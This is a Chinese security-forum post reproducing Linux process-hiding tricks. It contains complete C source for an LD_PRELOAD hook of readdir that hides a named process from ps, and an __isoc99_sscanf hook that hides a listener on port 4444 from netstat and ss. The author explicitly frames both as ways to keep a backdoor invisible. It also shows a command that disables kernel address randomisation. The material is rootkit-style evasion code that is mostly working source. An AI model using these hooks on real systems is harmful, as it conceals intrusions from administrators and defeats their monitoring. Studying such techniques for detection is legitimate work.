安全矩阵

 找回密码
 立即注册
搜索
查看: 1354|回复: 0

linux下进程隐藏的一些研究

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2022-7-26 10:59:57 | 显示全部楼层 |阅读模式
原文链接:linux下进程隐藏的一些研究


进程隐藏
前两天逛github时, 看到了这个进程隐藏的项目,
感觉挺有意思的, 简单复现分析一下, 并写了个差不多的用来隐藏网络信息的
ps进程隐藏
准备
得到ps源码
  1. git clone https://gitlab.com/procps-ng/procps.git
复制代码


关闭内核的地址随机化
  1. sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
复制代码


编译
  1. ./autogen.sh && ./configure CFLAGS="-ggdb" LDFLAGS="-ggdb" --prefix=$PWD ;make clean; make -j12 ;make install
复制代码


ps逻辑的分析

大概思路为:
打开/proc文件夹, 根据pid遍历, 读取/proc/pid/status, /proc/pid/stat, /proc/pid/cmdline
调试
首先读取/proc/self/status, 读取自己的一些信息

然后读取/proc/sys/kernel/pid_max, 读取最大的pid

然后读取/proc/uptime, 显示开机时间


然后readdir读取PT, 得到ent结构体
这里可以在linux手册上看到该结构体信息
  1. struct dirent {
  2.     ino_t          d_ino;       /* inode number */
  3.     off_t          d_off;       /* offset to the next dirent */
  4.     unsigned short d_reclen;    /* length of this record */
  5.     unsigned char  d_type;      /* type of file; not supported
  6.                                    by all file system types */
  7.     char           d_name[256]; /* filename */
  8. };
复制代码




这里只关心filename, 看到这里filename为4


然后紧接着把ent -> d_name给p -> tgid, 再用snprintf拼接给path得到读取proc信息的绝对路径

尝试打开/proc/4/stat


读取/proc/4/stat, 这里用cat读一下, 看一下内容是否相同,
相差不大, 说明是正确的, 内容也可能不会完全相同, 因为进程的信息是随时变化的

hook
链接, https://github.com/gianlucaborello/libprocesshider
这里使用LD_PRELOAD,可以理解为覆盖原有的函数
其实他的思路就是hookreaddir函数, 使得process_name和我们的后门一样时, 跳过不读, 从而实现进程隐藏
  1. #define _GNU_SOURCE#include <stdio.h>#include <dlfcn.h>#include <dirent.h>#include <string.h>#include <unistd.h>/* * Every process with this name will be excluded */static const char* process_to_filter = "ping";/* * Get a directory name given a DIR* handle */static int get_dir_name(DIR* dirp, char* buf, size_t size){
  2.     int fd = dirfd(dirp);
  3.     if(fd == -1) {
  4.         return 0;
  5.     }

  6.     char tmp[64];
  7.     snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  8.     ssize_t ret = readlink(tmp, buf, size);
  9.     if(ret == -1) {
  10.         return 0;
  11.     }

  12.     buf[ret] = 0;
  13.     return 1;}/* * Get a process name given its pid */static int get_process_name(char* pid, char* buf){
  14.     if(strspn(pid, "0123456789") != strlen(pid)) {
  15.         return 0;
  16.     }

  17.     char tmp[256];
  18.     snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

  19.     FILE* f = fopen(tmp, "r");
  20.     if(f == NULL) {
  21.         return 0;
  22.     }

  23.     if(fgets(tmp, sizeof(tmp), f) == NULL) {
  24.         fclose(f);
  25.         return 0;
  26.     }

  27.     fclose(f);

  28.     int unused;
  29.     sscanf(tmp, "%d (%[^)]s", &unused, buf);
  30.     return 1;}#define DECLARE_READDIR(dirent, readdir)                                \static struct dirent* (*original_##readdir)(DIR*) = NULL;               \                                                                        \struct dirent* readdir(DIR *dirp)                                       \{                                                                       \    if(original_##readdir == NULL) {                                    \        original_##readdir = dlsym(RTLD_NEXT, #readdir);               \        if(original_##readdir == NULL)                                  \        {                                                               \            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \        }                                                               \    }                                                                   \                                                                        \    struct dirent* dir;                                                 \                                                                        \    while(1)                                                            \    {                                                                   \        dir = original_##readdir(dirp);                                 \        if(dir) {                                                       \            char dir_name[256];                                         \            char process_name[256];                                     \            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \                strcmp(dir_name, "/proc") == 0 &&                       \                get_process_name(dir->d_name, process_name) &&          \                strcmp(process_name, process_to_filter) == 0) {         \                continue;                                               \            }                                                           \        }                                                               \        break;                                                          \    }                                                                   \    return dir;                                                         \}DECLARE_READDIR(dirent64, readdir64);DECLARE_READDIR(dirent, readdir);
复制代码

测试效果
用ping命令当作后门, 测试ps, 找不到进程

但有个缺点, 如果是监听的话, netstat能看到, 只不过找不到进程和进程名而已

这里的原因其实是, ps和netstat原理的不同
ps是读取/proc下的进程信息并解析输出
而 netstat只是去读取并解析 /proc/net/tcp, (这是暂且只讨论tcp)
所以上文的hook不起作用


这里可以看到, 能看到有0.0.0.0:3333的监听, 只不过是16进制
于是这里依照上面的原理再做一个netstat的隐藏
netstat进程隐藏
准备
  1. git clone https://github.com/ecki/net-tools.git
复制代码




添加调试信息并编译
  1. ./configure.sh CFLAGS="-ggdb" LDFLAGS="-ggdb" --prefix=$PWD ;make clean;make -j12;rm bin;mkdir bin; install -m 0755 netstat bin;
复制代码




阅读源码与调试
源码不多, 大概思路如下
首先进入tcp_info
  1. static int tcp_info(void)
  2. {
  3.     INFO_GUTS6(_PATH_PROCNET_TCP, _PATH_PROCNET_TCP6, "AF INET (tcp)",
  4.            tcp_do_one, "tcp", "tcp6");
  5. }
复制代码




我们这里先不考虑tcp6
这里的_PATH_PROCNET_TCP, 被lib/pathnames.h定义为#define _PATH_PROCNET_TCP "/proc/net/tcp"
然后进入tcp_do_one, 这里读取/proc/net/tcp每一行的含义并解析
这里用sscanf解析读到的/proc/net/tcp中的一行的信息
这里添加逻辑测试, 如果端口为4444则返回, 编译测试, 成功屏蔽了4444端口, 且其他解析没问题



说明在这里添加逻辑是不影响程序正常运行的
hook

但是覆盖的函数不是sscanf, 而是__isoc99_sscanf, 具体在<stdio.h>中有, 这也是ida反编译出来的scanf名字不是scanf的原因
  1. extern int __isoc99_sscanf (const char *__restrict __s,
  2.                             const char *__restrict __format, ...) __THROW;#  define fscanf __isoc99_fscanf#  define scanf __isoc99_scanf#  define sscanf __isoc99_sscanf
复制代码


这里的逻辑为, 如果有监听0.0.0.0:4444则返回12,
这里之所以返回12是因为上层函数有一个错误检测(见上图1095行, 由于我的vim是相对行号, 在1086下面9行为原本的1095行), if (num < 11) 输出错误提示, 所以返回12
  1. #include <stdarg.h>#include <stdio.h>#include <string.h>int __isoc99_sscanf(const char *str, const char *format, ...){
  2.     int ret;
  3.     va_list ap;
  4.     va_start(ap, format);

  5.     if(strstr(str, "00000000:115C 00000000:0000 0A"))
  6.         return 12;

  7.     ret = vsscanf(str, format, ap);
  8.     va_end(ap);
  9.     return ret;}
复制代码


hook后, 就可以用系统自带的netstat来测试了
测试
  1. ss|grep 4444

  2. netsats -antup|grep 4444
复制代码





这两者的结果都为空
由于检测不到进程监听4444端口, 甚至可以在此端口重复开进程
虽然ps和netstat都看不到, 但进程实际上是成功运行了的, 也拥有正常的功能




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 06:35 , Processed in 0.016502 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表